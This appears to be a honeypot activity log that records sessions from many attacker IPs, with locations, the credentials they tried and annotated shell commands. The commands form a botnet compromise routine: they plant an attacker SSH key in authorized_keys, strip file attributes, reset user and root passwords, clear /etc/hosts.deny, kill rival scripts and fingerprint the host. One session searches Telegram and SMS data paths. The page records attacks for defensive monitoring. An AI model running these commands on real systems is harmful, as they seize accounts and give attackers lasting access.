$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "yzh123456\njkC94p9bp0bF\njkC94p9bp0bF"|passwd|bash

$ Enter new UNIX password:

$ echo "yzh123456\njkC94p9bp0bF\njkC94p9bp0bF\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_6 (106.75.26.244) — Yangpu, China · 1 session · 20 cmds

2026-07-10 12:58 EDT · as chenlei/chenlei

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "chenlei\nM9bxTjrHyZpo\nM9bxTjrHyZpo"|passwd|bash

$ Enter new UNIX password:

$ echo "chenlei\nM9bxTjrHyZpo\nM9bxTjrHyZpo\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 blitz_root_2 (43.157.98.118) — Frankfurt am Main, Germany · 2 sessions · 40 cmds

2026-07-10 09:51 EDT · as hpc/hpc, ranger/ranger

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "hpc\nmi5rgfHuz0VC\nmi5rgfHuz0VC"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "hpc\nmi5rgfHuz0VC\nmi5rgfHuz0VC\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "ranger\nhdYYSpTE3rM9\nhdYYSpTE3rM9"|passwd|bash

$ echo "ranger\nhdYYSpTE3rM9\nhdYYSpTE3rM9\n"|passwd

🎭 wraith_root_7 (43.155.72.127) — Hong Kong, Hong Kong · 2 sessions · 40 cmds

2026-07-10 09:26 EDT · as hpc/hpc, ranger/ranger

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "hpc\ng2AYvtI1DFzk\ng2AYvtI1DFzk"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "hpc\ng2AYvtI1DFzk\ng2AYvtI1DFzk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "ranger\n6N2ENzOeLaFG\n6N2ENzOeLaFG"|passwd|bash

$ echo "ranger\n6N2ENzOeLaFG\n6N2ENzOeLaFG\n"|passwd

🎭 cosmo_root (81.28.167.30) — Tolyatti, Russia · 2 sessions · 40 cmds

2026-07-10 09:40 EDT · as hpc/hpc, ranger/ranger

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "ranger\njCWYbuz6ZQd1\njCWYbuz6ZQd1"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "ranger\njCWYbuz6ZQd1\njCWYbuz6ZQd1\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "hpc\ndaYuQhnfGwav\ndaYuQhnfGwav"|passwd|bash

$ echo "hpc\ndaYuQhnfGwav\ndaYuQhnfGwav\n"|passwd

🎭 phantom_root_5 (103.143.238.100) — Mong Kok, Hong Kong · 2 sessions · 39 cmds

2026-07-10 07:34 EDT · as root/Admin1111, ubuntu/666666

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:Fte4aFJi7HWv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "666666\nxxKFYKFbrT9z\nxxKFYKFbrT9z"|passwd|bash

$ Enter new UNIX password:

$ echo "666666\nxxKFYKFbrT9z\nxxKFYKFbrT9z\n"|passwd

🎭 lantern_root_4 (106.12.51.76) — Beijing, China · 1 session · 6 cmds

2026-07-10 08:25 EDT · as connor/connor

file attribute tampering → SSH key persistence → CPU profiling → echo → Enter

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "connor\nFWqidHSG8h9C\nFWqidHSG8h9C"|passwd|bash

$ Enter new UNIX password:

$ echo "connor\nFWqidHSG8h9C\nFWqidHSG8h9C\n"|passwd

🎭 cipher_root_10 (178.160.211.25) — Yerevan, Armenia · 1 session · 19 cmds

2026-07-10 07:49 EDT · as root/rookie

file attribute tampering → SSH key persistence → CPU profiling → echo → Enter

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:HkKEIY0ydkZ5"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_6 (45.121.24.222) — Hanoi, Vietnam · 2 sessions · 39 cmds

2026-07-10 07:34 EDT · as root/Admin1111, ubuntu/666666

file attribute tampering → SSH key persistence → CPU profiling → echo → Enter

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "666666\nzAC0Cs6LR9Tp\nzAC0Cs6LR9Tp"|passwd|bash

$ Enter new UNIX password:

$ echo "666666\nzAC0Cs6LR9Tp\nzAC0Cs6LR9Tp\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:p2QtLI7WPi29"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 phantom_root_7 (34.18.62.244) — Doha, Qatar · 1 session · 20 cmds

2026-07-10 05:44 EDT · as user/user@2025

file attribute tampering → SSH key persistence → CPU profiling → echo → Enter

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "user@2025\nmgA7A2V1pA0g\nmgA7A2V1pA0g"|passwd|bash

$ Enter new UNIX password:

$ echo "user@2025\nmgA7A2V1pA0g\nmgA7A2V1pA0g\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 gouda_root_3 (91.92.40.13) — Amsterdam, The Netherlands · 3 sessions · 27 cmds

2026-06-28 10:07 EDT · as root/123456, root/admin, root/password

file attribute tampering → SSH key persistence → CPU profiling → echo → Enter

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2 // make executable

$ uname -s -v -n -m 2 > /dev/null ×3

$ /bin/uname -s -v -n -m 2 > /dev/null ×3

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×3

$ busybox uname -s -v -n -m 2 > /dev/null ×3

$ ( [ -f /proc/version ] ×3

$ [ -f /proc/version ] ×3

$ head -1 /proc/version | cut -d -f1 ×3

$ [ -f /etc/os-release ] ×3

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"

🎭 strudel_root_3 (64.226.126.224) — Frankfurt am Main, Germany · 1 session · 9 cmds

2026-07-10 05:19 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 star_root_6 (107.174.1.138) — Los Angeles, United States · 1 session · 1 cmd

2026-07-10 03:56 EDT · as root/Abcd123456@

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 phantom_root_6 (213.91.234.180) — Sofia, Bulgaria · 1 session · 19 cmds

2026-07-10 02:33 EDT · as root/alamakota

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:VS2oasW9LQG9"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

